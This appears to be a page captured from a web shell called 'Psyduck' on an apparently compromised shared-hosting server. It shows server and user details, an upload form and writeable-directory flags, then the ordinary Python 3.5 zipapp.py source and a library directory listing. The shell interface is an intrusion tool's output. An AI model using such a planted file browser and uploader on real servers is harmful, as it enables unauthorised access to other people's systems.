Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /opt/alt/python35/lib64/python3.5/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python35/lib64/python3.5/zipapp.py
import contextlib
import os
import pathlib
import shutil
import stat
import sys
import zipfile

__all__ = ['ZipAppError', 'create_archive', 'get_interpreter']


# The __main__.py used if the users specifies "-m module:fn".
# Note that this will always be written as UTF-8 (module and
# function names can be non-ASCII in Python 3).
# We add a coding cookie even though UTF-8 is the default in Python 3
# because the resulting archive may be intended to be run under Python 2.
MAIN_TEMPLATE = """\
# -*- coding: utf-8 -*-
import {module}
{module}.{fn}()
"""


# The Windows launcher defaults to UTF-8 when parsing shebang lines if the
# file has no BOM. So use UTF-8 on Windows.
# On Unix, use the filesystem encoding.
if sys.platform.startswith('win'):
    shebang_encoding = 'utf-8'
else:
    shebang_encoding = sys.getfilesystemencoding()


class ZipAppError(ValueError):
    pass


@contextlib.contextmanager
def _maybe_open(archive, mode):
    if isinstance(archive, pathlib.Path):
        archive = str(archive)
    if isinstance(archive, str):
        with open(archive, mode) as f:
            yield f
    else:
        yield archive


def _write_file_prefix(f, interpreter):
    """Write a shebang line."""
    if interpreter:
        shebang = b'#!' + interpreter.encode(shebang_encoding) + b'\n'
        f.write(shebang)


def _copy_archive(archive, new_archive, interpreter=None):
    """Copy an application archive, modifying the shebang line."""
    with _maybe_open(archive, 'rb') as src:
        # Skip the shebang line from the source.
        # Read 2 bytes of the source and check if they are #!.
        first_2 = src.read(2)
        if first_2 == b'#!':
            # Discard the initial 2 bytes and the rest of the shebang line.
            first_2 = b''
            src.readline()

        with _maybe_open(new_archive, 'wb') as dst:
            _write_file_prefix(dst, interpreter)
            # If there was no shebang, "first_2" contains the first 2 bytes
            # of the source file, so write them before copying the rest
            # of the file.
            dst.write(first_2)
            shutil.copyfileobj(src, dst)

    if interpreter and isinstance(new_archive, str):
        os.chmod(new_archive, os.stat(new_archive).st_mode | stat.S_IEXEC)


def create_archive(source, target=None, interpreter=None, main=None):
    """Create an application archive from SOURCE.

    The SOURCE can be the name of a directory, or a filename or a file-like
    object referring to an existing archive.

    The content of SOURCE is packed into an application archive in TARGET,
    which can be a filename or a file-like object.  If SOURCE is a directory,
    TARGET can be omitted and will default to the name of SOURCE with .pyz
    appended.

    The created application archive will have a shebang line specifying
    that it should run with INTERPRETER (there will be no shebang line if
    INTERPRETER is None), and a __main__.py which runs MAIN (if MAIN is
    not specified, an existing __main__.py will be used).  It is an error
    to specify MAIN for anything other than a directory source with no
    __main__.py, and it is an error to omit MAIN if the directory has no
    __main__.py.
    """
    # Are we copying an existing archive?
    source_is_file = False
    if hasattr(source, 'read') and hasattr(source, 'readline'):
        source_is_file = True
    else:
        source = pathlib.Path(source)
        if source.is_file():
            source_is_file = True

    if source_is_file:
        _copy_archive(source, target, interpreter)
        return

    # We are creating a new archive from a directory.
    if not source.exists():
        raise ZipAppError("Source does not exist")
    has_main = (source / '__main__.py').is_file()
    if main and has_main:
        raise ZipAppError(
            "Cannot specify entry point if the source has __main__.py")
    if not (main or has_main):
        raise ZipAppError("Archive has no entry point")

    main_py = None
    if main:
        # Check that main has the right format.
        mod, sep, fn = main.partition(':')
        mod_ok = all(part.isidentifier() for part in mod.split('.'))
        fn_ok = all(part.isidentifier() for part in fn.split('.'))
        if not (sep == ':' and mod_ok and fn_ok):
            raise ZipAppError("Invalid entry point: " + main)
        main_py = MAIN_TEMPLATE.format(module=mod, fn=fn)

    if target is None:
        target = source.with_suffix('.pyz')
    elif not hasattr(target, 'write'):
        target = pathlib.Path(target)

    with _maybe_open(target, 'wb') as fd:
        _write_file_prefix(fd, interpreter)
        with zipfile.ZipFile(fd, 'w') as z:
            root = pathlib.Path(source)
            for child in root.rglob('*'):
                arcname = str(child.relative_to(root))
                z.write(str(child), arcname)
            if main_py:
                z.writestr('__main__.py', main_py.encode('utf-8'))

    if interpreter and not hasattr(target, 'write'):
        target.chmod(target.stat().st_mode | stat.S_IEXEC)


def get_interpreter(archive):
    with _maybe_open(archive, 'rb') as f:
        if f.read(2) == b'#!':
            return f.readline().strip().decode(shebang_encoding)


def main(args=None):
    """Run the zipapp command line interface.

    The ARGS parameter lets you specify the argument list directly.
    Omitting ARGS (or setting it to None) works as for argparse, using
    sys.argv[1:] as the argument list.
    """
    import argparse

    parser = argparse.ArgumentParser()
    parser.add_argument('--output', '-o', default=None,
            help="The name of the output archive. "
                 "Required if SOURCE is an archive.")
    parser.add_argument('--python', '-p', default=None,
            help="The name of the Python interpreter to use "
                 "(default: no shebang line).")
    parser.add_argument('--main', '-m', default=None,
            help="The main function of the application "
                 "(default: use an existing __main__.py).")
    parser.add_argument('--info', default=False, action='store_true',
            help="Display the interpreter from the archive.")
    parser.add_argument('source',
            help="Source directory (or existing archive).")

    args = parser.parse_args(args)

    # Handle `python -m zipapp archive.pyz --info`.
    if args.info:
        if not os.path.isfile(args.source):
            raise SystemExit("Can only get info for an archive file")
        interpreter = get_interpreter(args.source)
        print("Interpreter: {}".format(interpreter or "<none>"))
        sys.exit(0)

    if os.path.isfile(args.source):
        if args.output is None or (os.path.exists(args.output) and
                                   os.path.samefile(args.source, args.output)):
            raise SystemExit("In-place editing of archives is not supported")
        if args.main:
            raise SystemExit("Cannot change the main function when copying")

    create_archive(args.source, args.output,
                   interpreter=args.python, main=args.main)


if __name__ == '__main__':
    main()
Name
Size
Permissions
Options
__pycache__
--
drwxr-xr-x
asyncio
--
drwxr-xr-x
collections
--
drwxr-xr-x
concurrent
--
drwxr-xr-x
config-3.5m
--
drwxr-xr-x
ctypes
--
drwxr-xr-x
curses
--
drwxr-xr-x
dbm
--
drwxr-xr-x
distutils
--
drwxr-xr-x
email
--
drwxr-xr-x
encodings
--
drwxr-xr-x
ensurepip
--
drwxr-xr-x
html
--
drwxr-xr-x
http
--
drwxr-xr-x
idlelib
--
drwxr-xr-x
importlib
--
drwxr-xr-x
json
--
drwxr-xr-x
lib-dynload
--
drwxr-xr-x
lib2to3
--
drwxr-xr-x
logging
--
drwxr-xr-x
multiprocessing
--
drwxr-xr-x
plat-linux
--
drwxr-xr-x
pydoc_data
--
drwxr-xr-x
site-packages
--
drwxr-xr-x
sqlite3
--
drwxr-xr-x
test
--
drwxr-xr-x
unittest
--
drwxr-xr-x
urllib
--
drwxr-xr-x
venv
--
drwxr-xr-x
wsgiref
--
drwxr-xr-x
xml
--
drwxr-xr-x
xmlrpc
--
drwxr-xr-x
__future__.py
4.728 KB
-rw-r--r--
__phello__.foo.py
0.063 KB
-rw-r--r--
_bootlocale.py
1.271 KB
-rw-r--r--
_collections_abc.py
24.213 KB
-rw-r--r--
_compat_pickle.py
8.355 KB
-rw-r--r--
_compression.py
5.215 KB
-rw-r--r--
_dummy_thread.py
4.998 KB
-rw-r--r--
_markupbase.py
14.256 KB
-rw-r--r--
_osx_support.py
18.667 KB
-rw-r--r--
_pydecimal.py
223.27 KB
-rw-r--r--
_pyio.py
85.906 KB
-rw-r--r--
_sitebuiltins.py
3.042 KB
-rw-r--r--
_strptime.py
21.665 KB
-rw-r--r--
_sysconfigdata.py
26.319 KB
-rw-r--r--
_threading_local.py
7.236 KB
-rw-r--r--
_weakrefset.py
5.571 KB
-rw-r--r--
abc.py
8.426 KB
-rw-r--r--
aifc.py
31.218 KB
-rw-r--r--
antigravity.py
0.465 KB
-rw-r--r--
argparse.py
88.025 KB
-rw-r--r--
ast.py
11.72 KB
-rw-r--r--
asynchat.py
11.69 KB
-rw-r--r--
asyncore.py
19.633 KB
-rw-r--r--
base64.py
20.041 KB
-rwxr-xr-x
bdb.py
22.807 KB
-rw-r--r--
binhex.py
13.627 KB
-rw-r--r--
bisect.py
2.534 KB
-rw-r--r--
bz2.py
12.133 KB
-rw-r--r--
cProfile.py
5.199 KB
-rwxr-xr-x
calendar.py
22.459 KB
-rw-r--r--
cgi.py
35.201 KB
-rwxr-xr-x
cgitb.py
11.741 KB
-rw-r--r--
chunk.py
5.298 KB
-rw-r--r--
cmd.py
14.512 KB
-rw-r--r--
code.py
9.881 KB
-rw-r--r--
codecs.py
35.382 KB
-rw-r--r--
codeop.py
5.854 KB
-rw-r--r--
colorsys.py
3.969 KB
-rw-r--r--
compileall.py
11.437 KB
-rw-r--r--
configparser.py
52.199 KB
-rw-r--r--
contextlib.py
12.159 KB
-rw-r--r--
copy.py
8.736 KB
-rw-r--r--
copyreg.py
6.673 KB
-rw-r--r--
crypt.py
1.835 KB
-rw-r--r--
csv.py
15.75 KB
-rw-r--r--
datetime.py
74.12 KB
-rw-r--r--
decimal.py
0.313 KB
-rw-r--r--
difflib.py
82.23 KB
-rw-r--r--
dis.py
16.943 KB
-rw-r--r--
doctest.py
101.598 KB
-rw-r--r--
dummy_threading.py
2.749 KB
-rw-r--r--
enum.py
21.705 KB
-rw-r--r--
filecmp.py
9.6 KB
-rw-r--r--
fileinput.py
13.925 KB
-rw-r--r--
fnmatch.py
3.089 KB
-rw-r--r--
formatter.py
14.788 KB
-rw-r--r--
fractions.py
24.035 KB
-rw-r--r--
ftplib.py
34.132 KB
-rw-r--r--
functools.py
28.266 KB
-rw-r--r--
genericpath.py
4.262 KB
-rw-r--r--
getopt.py
7.313 KB
-rw-r--r--
getpass.py
5.854 KB
-rw-r--r--
gettext.py
21.025 KB
-rw-r--r--
glob.py
4.953 KB
-rw-r--r--
gzip.py
19.785 KB
-rw-r--r--
hashlib.py
7.792 KB
-rw-r--r--
heapq.py
22.392 KB
-rw-r--r--
hmac.py
4.944 KB
-rw-r--r--
imaplib.py
50.96 KB
-rw-r--r--
imghdr.py
3.67 KB
-rw-r--r--
imp.py
10.426 KB
-rw-r--r--
inspect.py
111.522 KB
-rw-r--r--
io.py
3.316 KB
-rw-r--r--
ipaddress.py
73.958 KB
-rw-r--r--
keyword.py
2.17 KB
-rwxr-xr-x
linecache.py
5.188 KB
-rw-r--r--
locale.py
72.962 KB
-rw-r--r--
lzma.py
12.622 KB
-rw-r--r--
macpath.py
5.769 KB
-rw-r--r--
macurl2path.py
2.668 KB
-rw-r--r--
mailbox.py
76.58 KB
-rw-r--r--
mailcap.py
7.914 KB
-rw-r--r--
mimetypes.py
20.358 KB
-rw-r--r--
modulefinder.py
22.544 KB
-rw-r--r--
netrc.py
5.613 KB
-rw-r--r--
nntplib.py
42.068 KB
-rw-r--r--
ntpath.py
22.259 KB
-rw-r--r--
nturl2path.py
2.387 KB
-rw-r--r--
numbers.py
10.003 KB
-rw-r--r--
opcode.py
5.747 KB
-rw-r--r--
operator.py
10.608 KB
-rw-r--r--
optparse.py
58.93 KB
-rw-r--r--
os.py
36.165 KB
-rw-r--r--
pathlib.py
45.899 KB
-rw-r--r--
pdb.py
59.716 KB
-rwxr-xr-x
pickle.py
54.859 KB
-rw-r--r--
pickletools.py
89.61 KB
-rw-r--r--
pipes.py
8.707 KB
-rw-r--r--
pkgutil.py
20.854 KB
-rw-r--r--
platform.py
45.065 KB
-rwxr-xr-x
plistlib.py
31.064 KB
-rw-r--r--
poplib.py
14.372 KB
-rw-r--r--
posixpath.py
14.562 KB
-rw-r--r--
pprint.py
20.371 KB
-rw-r--r--
profile.py
21.516 KB
-rwxr-xr-x
pstats.py
25.941 KB
-rw-r--r--
pty.py
4.651 KB
-rw-r--r--
py_compile.py
7.013 KB
-rw-r--r--
pyclbr.py
13.246 KB
-rw-r--r--
pydoc.py
101.223 KB
-rwxr-xr-x
queue.py
8.574 KB
-rw-r--r--
quopri.py
7.095 KB
-rwxr-xr-x
random.py
25.843 KB
-rw-r--r--
re.py
15.138 KB
-rw-r--r--
reprlib.py
5.211 KB
-rw-r--r--
rlcompleter.py
6.159 KB
-rw-r--r--
runpy.py
11.679 KB
-rw-r--r--
sched.py
6.07 KB
-rw-r--r--
selectors.py
18.982 KB
-rw-r--r--
shelve.py
8.328 KB
-rw-r--r--
shlex.py
11.18 KB
-rw-r--r--
shutil.py
39.109 KB
-rw-r--r--
signal.py
2.073 KB
-rw-r--r--
site.py
21.005 KB
-rw-r--r--
smtpd.py
34.544 KB
-rwxr-xr-x
smtplib.py
42.612 KB
-rwxr-xr-x
sndhdr.py
6.268 KB
-rw-r--r--
socket.py
26.499 KB
-rw-r--r--
socketserver.py
24.088 KB
-rw-r--r--
sre_compile.py
17.979 KB
-rw-r--r--
sre_constants.py
6.661 KB
-rw-r--r--
sre_parse.py
34.294 KB
-rw-r--r--
ssl.py
41.359 KB
-rw-r--r--
stat.py
4.92 KB
-rw-r--r--
statistics.py
19.075 KB
-rw-r--r--
string.py
11.576 KB
-rw-r--r--
stringprep.py
12.614 KB
-rw-r--r--
struct.py
0.251 KB
-rw-r--r--
subprocess.py
57.531 KB
-rw-r--r--
sunau.py
17.671 KB
-rw-r--r--
symbol.py
2.057 KB
-rwxr-xr-x
symtable.py
7.022 KB
-rw-r--r--
sysconfig.py
23.889 KB
-rw-r--r--
tabnanny.py
11.146 KB
-rwxr-xr-x
tarfile.py
90.889 KB
-rwxr-xr-x
telnetlib.py
22.477 KB
-rw-r--r--
tempfile.py
26.012 KB
-rw-r--r--
textwrap.py
19.1 KB
-rw-r--r--
this.py
0.979 KB
-rw-r--r--
threading.py
47.878 KB
-rw-r--r--
timeit.py
12.112 KB
-rwxr-xr-x
token.py
3.003 KB
-rw-r--r--
tokenize.py
27.139 KB
-rw-r--r--
trace.py
30.813 KB
-rwxr-xr-x
traceback.py
21.655 KB
-rw-r--r--
tracemalloc.py
15.274 KB
-rw-r--r--
tty.py
0.858 KB
-rw-r--r--
types.py
8.593 KB
-rw-r--r--
typing.py
78.257 KB
-rw-r--r--
uu.py
6.607 KB
-rwxr-xr-x
uuid.py
22.716 KB
-rw-r--r--
warnings.py
15.479 KB
-rw-r--r--
wave.py
17.268 KB
-rw-r--r--
weakref.py
19.986 KB
-rw-r--r--
webbrowser.py
21.316 KB
-rwxr-xr-x
xdrlib.py
5.774 KB
-rw-r--r--
zipapp.py
6.989 KB
-rw-r--r--
zipfile.py
71.945 KB
-rw-r--r--